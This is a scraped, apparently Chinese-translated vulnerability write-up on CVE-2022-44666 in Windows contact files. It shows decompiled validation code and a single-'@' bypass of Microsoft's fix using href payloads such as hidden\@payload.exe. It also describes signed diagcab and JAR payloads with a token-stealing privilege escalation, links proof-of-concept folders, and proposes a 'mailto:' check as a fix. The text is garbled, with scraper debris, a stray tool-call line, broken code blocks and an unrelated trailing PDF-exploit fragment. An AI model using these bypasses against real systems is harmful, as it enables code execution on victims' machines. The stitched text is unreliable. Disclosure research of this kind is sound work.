  v5 = a1;
  while ( v2 && v2 != 0x3C )
  {
    a1 = CharNextW(a1);
    v2 = *a1;
  }
  v6 = *a1;
  v7 = a1;
  if ( *a1 )
  {
    v8 = a1 + 1;
    v4 = v8;
  }
  else
  {
    v8 = v4;
  }
  v9 = *v8;
  v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
  v11 = v6 != 0;
  if ( *v8 & 0xFFBF )
  {
    while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
    {
      if ( v9 == 0x40 )  // (7)
      {
        v14 = CharNextW(v8);
        if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) )  // (8)
          return 0i64;
        if ( v3 )
        {
          if ( v10 )
          {
            *v10 = 0;
            TrimSpaces(v5);
          }
          *v3 = v4;
        }
        return 1i64;
      }
      v12 = CharNextW(v8);
      v8 = v12;
      v9 = *v12;
      if ( !v9 )
        return 0i64;
    }
  }
  return 0i64;
}

在(7)中有一件事引起了我的注意,代码正在检查是否存在一个"@"字符。然后,它调用函数"IsDomainName"来检查字符"@"之后的字符串是否是一个域名:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx

v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }

root@kitploit:~
因此,绕过修复的方法非常简单。只需使用单个字符"@"。像这样的符号链接href属性可以成功绕过修复:```html
hidden\@payload.lnk
hidden\@payload.exe

`webpage_to_markdown(text_html, include_sup_sub:true, output_full_page?:false)````html [email protected] [email protected]

root@kitploit:~
有关更多信息,这里有一个关于[独立联系人文件](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif)的视频。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/videos/simple-payload.gif%3E)

概念验证位于[./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs)。

另一个关于[MS Word和LDAP URL协议](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif)的视频。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/videos/ldap-msword-exploit.gif%3E)

概念验证位于[./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs)。

补丁发布一天后,此信息已发送给MSRC。不幸的是,该案件最近在没有进一步信息的情况下被关闭。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/images/msrc-reply-case-closed.png%3E)

## 将Diagcab文件作为有效载荷

在[CVE-2022-30190][R.14](也称为[Follina漏洞][R.15])和[CVE-2022-34713][R.16](也称为[DogWalk漏洞][R.17])之后,一种[公开已知但被低估的技术][R.18]再次复兴,这要归功于[@buffaloverflow][R.19]。我的朋友兼同事[Eduardo Braun Prado][R.20]向我建议在此处使用该技术。

执行此操作需要满足一些先决条件:

1. 目标用户必须属于管理员组。否则,会出现UAC提示。
2. diagcab文件必须经过签名,因此代码签名证书必须已安装在目标计算机上。

真实的攻击场景会涉及窃取一个实际安装在目标系统中的代码签名证书。但由于这只是一个概念验证,我们生成了一个自签名代码签名证书,并用于对名为[@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab)的diagcab文件进行签名。

因此,为了复现,需要安装位于[cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer)的证书到受信任的根证书颁发机构中([操作演示](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif)):

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/videos/install-certificate.gif%3E)

为了最终提升权限,可以使用令牌窃取/模拟技术。在这种情况下,选择了["父进程"技术][R.21]([链接][R.22])。该脚本的修改版本已包含在解析器脚本中。

有关更多信息,这里有一个关于[MS Word和LDAP URL协议](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif)的视频。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/videos/ldap-msword-diagcab-exploit.gif%3E)

概念验证位于[./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs)。

## 将JAR文件作为有效载荷

***更新于2023年6月19日:*** 在阅读了[@pfiatde][R.24]关于["ZipJar"][R.25]的帖子后,这一有趣的信息使得JAR文件成为此漏洞的有效载荷的理想候选者。该漏洞至今仍是0day漏洞,因为MotW被忽略,且无需接受任何提示。

JAR有效载荷取自GitHub仓库[calc_security_poc][R.26]。

这里附上一个小型构建器[create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc),您可以根据模板创建自己的POC。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./bypass/videos/jar-exploit.gif%3E)

别忘了感谢[@microlovu][R.27]和[@mlftsecresponse][R.28]。😄

## 建议的修复方法

回忆起函数"fnSummaryProc"中的易受攻击代码:```cpp
...
LABEL_44:
        SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
        return 1i64;
      }
    }
    else
    {
      if ( v23 )
        v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
      else
        v32 = 0;
      v29 = v7;
      if ( v32 )
      {
        v30 = v23;
        goto LABEL_44;
      }
    }
...

函数 "IsInternetAddress" 被特意创建用于检查 href 属性是否对应任何电子邮件地址。因此,我提议的修复方案(并遵循该库所使用的已导入函数)将是:```cpp ... if (v32 && !(unsigned int)StrCmpNICW(L"mailto:", v23, 7i64)) // Check out the href really starts with "mailto:" { v30 = v23; goto LABEL_44; } ...

root@kitploit:~
如此简单,只需在调用"SafeExecute"之前检查一下即可。只需测试目标字符串(v23)是否以"mailto:"开头,依我愚见,这个漏洞就能完全修复。

## 非官方修复

数天/周前,当我联系 [@mkolsek][R.30](来自 [0patch][R.23])并告知他这个问题时,顺便提一下,他对我一直非常友好,他告诉我这个问题自那时起(4年前)就已经有了[一个针对Windows 7的非官方修复][R.29]。这真是个惊喜和好消息!

经过测试,该修复成功阻止了CVE-2022-44666的新变种。该微型补丁在href属性传入的攻击者控制字符串前添加"http://",前提是该字符串不以"mailto:"、"http://"或"https://"开头,这足以完全修复问题。现在它将扩展到最新的Windows版本,只需更新一些偏移量即可。

![alt text](https://raw.githubusercontent.com/j00sean/cve-2022-44666/HEAD/%3C./videos/micropatch-0patch.gif%3E)

无论如何,获得官方补丁会更好。

## 致谢

+ [@hyp3rlinx][R.1]:特别致谢,因为他多年前开始了这项研究,他的工作对本报告至关重要。~~他本应因发现此问题而获得更多的认可,但不幸的是我未能及时联系到他~~。现已确认(***更新于 2023/02/08***)。
+ [@Edu_Braun_0day][R.20]:他也曾围绕[此问题][R.31]进行研究。
+ [@mkolsek][R.30]。
+ [@matalaz][R.12]。
+ [@buffaloverflow][R.19]。
+ [@msftsecresponse][R.2]。
+ ...


作者:[@j00sean](https://twitter.com/j00sean)

[R.1]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/hyp3rlinx%3E "@hyp3rlinx"
[R.2]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/msftsecresponse%3E "@msftsecresponse"
[R.3]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/thezdi%3E "@thezdi"
[R.4]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.exploit-db.com/exploits/46222%3E "John Page(又名 hyp3rlinx)在4年多前完全公开的漏洞利用程序"
[R.5]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.zerodayinitiative.com/advisories/ZDI-19-121/%3E "ZDI-19-121"
[R.6]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.microsoft.com/en-us/windows/win32/controls/syslink-overview%3E "微软关于syslink控件的文档"
[R.7]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.mozilla.org/en-US/security/advisories/mfsa2022-24/#CVE-2022-34478> "CVE-2022-34478:Mozilla Firefox中禁用的search-ms"
[R.8]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/docs.bmc.com/docs/fpsc121/ldap-attributes-and-associated-fields-495323340.html%3E "LDIF属性和关联字段文档"
[R.9]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/ldaptor.readthedocs.io/en/latest/quickstart.html#ldap-server-quick-start> "ldaptor服务器快速入门"
[R.10]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-44666%3E "CVE-2022-44666"
[R.11]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/joxeankoret/diaphora%3E "Diaphora"
[R.12]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/matalaz%3E "@matalaz" 
[R.13]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/learn.microsoft.com/en-us/windows/win32/api/shlwapi/nf-shlwapi-urlisw%3E "UrlIsW 函数"
[R.14]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190%3E "CVE-2022-30190"
[R.15]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/security/new-microsoft-office-zero-day-used-in-attacks-to-execute-powershell%3E "Follina 漏洞"
[R.16]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34713%3E "CVE-2022-34713"
[R.17]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/www.bleepingcomputer.com/news/microsoft/microsoft-patches-windows-dogwalk-zero-day-exploited-in-attacks%3E "DogWalk 漏洞"
[R.18]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow/status/1534445288332701697%3E "Diagcab 文件"
[R.19]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/buffaloverflow%3E "@buffaloverflow"
[R.20]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/edu_braun_0day%3E "@Edu_Braun_0day"
[R.21]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/decoder.cloud/2018/02/02/getting-system%3E "父进程技术"
[R.22]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/decoder-it/psgetsystem%3E "通过父进程获取系统权限"
[R.23]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/0patch.com%3E "0patch"
[R.24]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/pfiatde%3E "@pfiatde"
[R.25]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/badoption.eu/blog/2023/06/01/zipjar.html%3E "ZipJar,一个有点意外的攻击链"
[R.26]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/github.com/arntsonl/calc_security_poc/tree/master/jar%3E "calc_security_poc"
[R.27]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/microlovu%3E "@microlovu"
[R.28]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mlftsecresponse%3E "@mlftsecresponse"
[R.29]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/blog.0patch.com/2019/01/one-two-three-micropatches-for-three.html%3E "4年前发布的微型补丁"
[R.30]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/twitter.com/mkolsek%3E "@mkolsek"
[R.31]: https://raw.githubusercontent.com/j00sean/cve-2022-44666/main/%3Chttps:/packetstormsecurity.com/files/151267/Microsoft-Windows-VCF-Arbitrary-Code-Execution.html%3E "Microsoft Windows VCF或联系人文件 - URL操纵-欺骗任意代码执行"
下载工具
  • 6.6. PDF 阅读器利用:./videos/pdfreaders-exploit.gif。

alt text

  • ./further-pocs/PDFreaders/remote-weaponized-by-searchms/exploit.pdf:PDF 文件,触发默认浏览器执行 URI 协议 "search-ms"。